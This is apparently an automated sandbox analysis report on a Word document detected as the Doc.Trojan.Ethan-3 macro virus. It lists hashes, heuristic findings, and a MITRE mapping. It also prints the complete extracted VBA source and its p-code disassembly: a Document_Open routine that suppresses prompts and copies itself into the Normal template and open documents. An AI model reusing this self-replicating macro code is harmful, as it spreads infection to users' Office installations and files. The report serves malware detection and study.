Office (OLE) malware analysis — malicious · 7ff7a6f312aef362

MALICIOUS

Office (OLE)

36.5 KB Created: 2000-08-23 19:24:00 Authoring application: Microsoft Word 8.0 First seen: 2015-10-13

MD5: eea936d74ce4322b10f2ea56c3665640 SHA-1: 30e7214af15b63bc01576c3daae11df6e6c1e4d9 SHA-256: 7ff7a6f312aef3625260197e7044cb1b472e7fc8df1f2ede15580c76fe886850

208 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic

The sample contains VBA macros, including a Document_Open subroutine, which is a common technique for executing malicious code upon opening the document. The script attempts to write its own code to a temporary file and then inject it into the Normal template and the active document, indicating a self-replication or persistence mechanism. This behavior is consistent with macro-based malware designed to spread or maintain access.

Heuristics 4

ClamAV: Doc.Trojan.Ethan-3 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Ethan-3
VBA macros detected medium 2 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION

VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
Matched line in script
```
            Call nml.CodeModule.InsertLines(j, a)
```
Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro
Matched line in script
```
Private Sub Document_Open()
```

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	8055 bytes
SHA-256: `bd23aa635fba0e70a6e885d28865c658c882556ca38e541c814bf96dc910e752`
Detection ClamAV: Doc.Trojan.Ethan-3 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Document_Open() On Error Resume Next Application.EnableCancelKey = wdCancelDisabled With Options: .ConfirmConversions = False: .VirusProtection = True: .SaveNormalPrompt = False: .SavePropertiesPrompt = False: End With s = ActiveDocument.Saved sName = "c:\evolve.tmp" sFunc = "Private Sub Document_Open()" Found = False If Dir(sName) <> "" Then Call Kill(sName) Open sName For Output As #1 For i = 0 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1) If Found = False And (a = sFunc) Then Found = True If a <> "" And Found = True Then Print #1, a If a = "End Sub" And Found = True Then Found = False Next i Close #1 j = 1 k = 1 t = 0 If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> sFunc Then Set nml = NormalTemplate.VBProject.VBComponents.Item(1) t = t + 1 End If If ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> sFunc Then Set atv = ActiveDocument.VBProject.VBComponents.Item(1) t = t + 2 End If If t > 0 Then Open sName For Input As #1 If LOF(1) = 0 Then GoTo quit i = 1 Do While Not EOF(1) Line Input #1, a If t = 1 Or t = 3 Then Call nml.CodeModule.InsertLines(j, a) j = j + 1 End If If t = 2 Or t = 3 Then Call atv.CodeModule.InsertLines(k, a) k = k + 1 End If Loop quit: Close #1 End If With Dialogs(wdDialogFileSumaryInfo): .Title = "Ethan Frome": .Key = "[ProCyon 031199]: Makes no harm on your computer" .Author = "EW/LN/CB": .Keywrds = "Ethan": Call .Execute: End With If Left(ActiveDocument.Name, 8) <> "Document" Then Call ActiveDocument.SaveAs(FileName:=ActiveDocument.FullName) End If If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s Call Kill(sName) Application.EnableCancelKey = wdCancelInterrupt End Sub ' Processing file: /opt/analyzer/scan_staging/7d80e58dc7b644a09ad28262e51c61ce.bin ' =============================================================================== ' Module streams: ' Macros/VBA/ThisDocument - 4331 bytes ' Line #0: ' FuncDefn (Private Sub Document_Open()) ' Line #1: ' OnError (Resume Next) ' Line #2: ' Ld wdCancelDisabled ' Ld Application ' MemSt EnableCancelKey ' Line #3: ' StartWithExpr ' Ld Options ' With ' BoS 0x0000 ' Line #4: ' LitVarSpecial (False) ' MemStWith ConfirmConversions ' BoS 0x0000 ' Line #5: ' LitVarSpecial (True) ' MemStWith VirusProtection ' BoS 0x0000 ' Line #6: ' LitVarSpecial (False) ' MemStWith SaveNormalPrompt ' BoS 0x0000 ' Line #7: ' LitVarSpecial (False) ' MemStWith SavePropertiesPrompt ' BoS 0x0000 ' Line #8: ' EndWith ' Line #9: ' Ld ActiveDocument ' MemLd Saved ' St s ' Line #10: ' LitStr 0x000D "c:\evolve.tmp" ' St sName ' Line #11: ' LitStr 0x001B "Private Sub Document_Open()" ' St sFunc ' Line #12: ' LitVarSpecial (False) ' St Found ' Line #13: ' Ld sName ' ArgsLd Dir 0x0001 ' LitStr 0x0000 "" ' Ne ' If ' BoSImplicit ' Ld sName ' ArgsCall (Call) Kill 0x0001 ' EndIf ' Line #14: ' Ld sName ' LitDI2 0x0001 ' Sharp ' LitDefault ' Open (For Output) ' Line #15: ' StartForVariable ' Ld i ' EndForVariable ' LitDI2 0x0000 ' LitDI2 0x0001 ' Ld MacroContainer ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' MemLd CodeModule ' MemLd CountOfLines ' For ' Line #16: ' Ld i ' LitDI2 0x0001 ' LitDI2 0x0001 ' Ld MacroContainer ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' MemLd CodeModule ' ArgsMemLd Lines 0x0002 ' St a ' Line #17: ' Ld Found ' LitVarSpecial (False) ' Eq ' Ld a ' Ld sFunc ' Eq ' Paren ' And ' If ' BoSImplicit ' LitVarSpecial (True) ' St Found ' EndIf ' Line #18: ' Ld a ' LitStr 0x0000 "" ' Ne ' Ld Found ' LitVarSpecial (True) ' Eq ' And ' If ' BoSImplicit ' LitDI2 0x0001 ' Sharp ' PrintChan ' Ld a ' PrintItemNL ' EndIf ' Line #19: ' Ld a ' LitStr 0x0007 "End Sub" ' Eq ' Ld Found ' LitVarSpecial (True) ' Eq ' And ' If ' BoSImplicit ' LitVarSpecial (False) ' St Found ' EndIf ' Line #20: ' StartForVariable ' Ld i ' EndForVariable ' NextVar ' Line #21: ' LitDI2 0x0001 ' Sharp ' Close 0x0001 ' Line #22: ' LitDI2 0x0001 ' St j ' Line #23: ' LitDI2 0x0001 ' St k ' Line #24: ' LitDI2 0x0000 ' St t ' Line #25: ' LitDI2 0x0001 ' LitDI2 0x0001 ' LitDI2 0x0001 ' Ld NormalTemplate ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' MemLd CodeModule ' ArgsMemLd Lines 0x0002 ' Ld sFunc ' Ne ' IfBlock ' Line #26: ' SetStmt ' LitDI2 0x0001 ' Ld NormalTemplate ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' Set nml ' Line #27: ' Ld t ' LitDI2 0x0001 ' Add ' St t ' Line #28: ' EndIfBlock ' Line #29: ' LitDI2 0x0001 ' LitDI2 0x0001 ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' MemLd CodeModule ' ArgsMemLd Lines 0x0002 ' Ld sFunc ' Ne ' IfBlock ' Line #30: ' SetStmt ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' Set atv ' Line #31: ' Ld t ' LitDI2 0x0002 ' Add ' St t ' Line #32: ' EndIfBlock ' Line #33: ' Ld t ' LitDI2 0x0000 ' Gt ' IfBlock ' Line #34: ' Ld sName ' LitDI2 0x0001 ' Sharp ' LitDefault ' Open (For Input) ' Line #35: ' LitDI2 0x0001 ' ArgsLd LOF 0x0001 ' LitDI2 0x0000 ' Eq ' If ' BoSImplicit ' GoTo quit ' EndIf ' Line #36: ' LitDI2 0x0001 ' St i ' Line #37: ' LitDI2 0x0001 ' ArgsLd EOF 0x0001 ' Not ' DoWhile ' Line #38: ' LitDI2 0x0001 ' Ld a ' LineInput ' Line #39: ' Ld t ' LitDI2 0x0001 ' Eq ' Ld t ' LitDI2 0x0003 ' Eq ' Or ' IfBlock ' Line #40: ' Ld j ' Ld a ' Ld nml ' MemLd CodeModule ' ArgsMemCall (Call) InsertLines 0x0002 ' Line #41: ' Ld j ' LitDI2 0x0001 ' Add ' St j ' Line #42: ' EndIfBlock ' Line #43: ' Ld t ' LitDI2 0x0002 ' Eq ' Ld t ' LitDI2 0x0003 ' Eq ' Or ' IfBlock ' Line #44: ' Ld k ' Ld a ' Ld atv ' MemLd CodeModule ' ArgsMemCall (Call) InsertLines 0x0002 ' Line #45: ' Ld k ' LitDI2 0x0001 ' Add ' St k ' Line #46: ' EndIfBlock ' Line #47: ' Loop ' Line #48: ' Label quit ' Line #49: ' LitDI2 0x0001 ' Sharp ' Close 0x0001 ' Line #50: ' EndIfBlock ' Line #51: ' StartWithExpr ' Ld wdDialogFileSumaryInfo ' ArgsLd Dialogs 0x0001 ' With ' BoS 0x0000 ' Line #52: ' LitStr 0x000B "Ethan Frome" ' MemStWith Title ' BoS 0x0000 ' Line #53: ' LitStr 0x0030 "[ProCyon 031199]: Makes no harm on your computer" ' MemStWith Key ' Line #54: ' LitStr 0x0008 "EW/LN/CB" ' MemStWith Author ' BoS 0x0000 ' Line #55: ' LitStr 0x0005 "Ethan" ' MemStWith Keywrds ' BoS 0x0000 ' Line #56: ' ArgsMemCallWith (Call) Execute 0x0000 ' BoS 0x0000 ' Line #57: ' EndWith ' Line #58: ' Ld ActiveDocument ' MemLd New ' LitDI2 0x0008 ' ArgsLd LBound 0x0002 ' LitStr 0x0008 "Document" ' Ne ' IfBlock ' Line #59: ' Ld ActiveDocument ' MemLd FullName ' ParamNamed FileName ' Ld ActiveDocument ' ArgsMemCall (Call) SaveAs 0x0001 ' Line #60: ' EndIfBlock ' Line #61: ' Ld ActiveDocument ' MemLd Saved ' Ld s ' Ne ' If ' BoSImplicit ' Ld s ' Ld ActiveDocument ' MemSt Saved ' EndIf ' Line #62: ' Ld sName ' ArgsCall (Call) Kill 0x0001 ' Line #63: ' Ld wdCancelInterrupt ' Ld Application ' MemSt EnableCancelKey ' Line #64: ' EndSub

Open this report in the interactive analyzer, or submit your own file for analysis.